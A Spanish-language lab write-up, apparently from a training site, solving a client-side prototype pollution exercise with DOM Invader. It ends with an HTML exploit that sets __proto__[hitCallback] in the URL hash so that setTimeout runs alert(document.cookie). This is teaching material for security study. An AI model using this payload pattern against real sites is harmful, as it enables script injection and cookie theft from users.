> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/web/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/web/prototype-pollution/lab-5-client-side-prototype-pollution-in-third-party-libraries.md).

# Lab 5: Client-side prototype pollution in third-party libraries

Aunque técnicamente este ejercicio se puede resolver de manera manual, se recomienda utilizar DOM Invader:

<figure><img src="/files/tUp8tWGHTHrUeeX3UXsI" alt=""><figcaption></figcaption></figure>

Se detecta la posibilidad de realizar un ataque sobre: hash

Al realizar el escaneo, se encuentra lo siguiente:

<figure><img src="/files/ZZrtBE2ZDBfNww4gr54v" alt=""><figcaption></figcaption></figure>

Observe que DOM Invader ha accedido con éxito al receptor `setTimeout()`a través del dispositivo `hitCallback`.

Y al clickear en exploit:

<figure><img src="/files/1e6xkLpJRAXXnsYOBF5g" alt=""><figcaption></figcaption></figure>

Asi que teniendo en cuenta que ya tenemos el exploit funcional.

Se procede con al creacion del siguiente exploit:

```html
<script>
    location="https://0a310070045995a3844ecca90014008b.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
```

El exploit anterior genera una alerta en JS para imprimir las cookies.
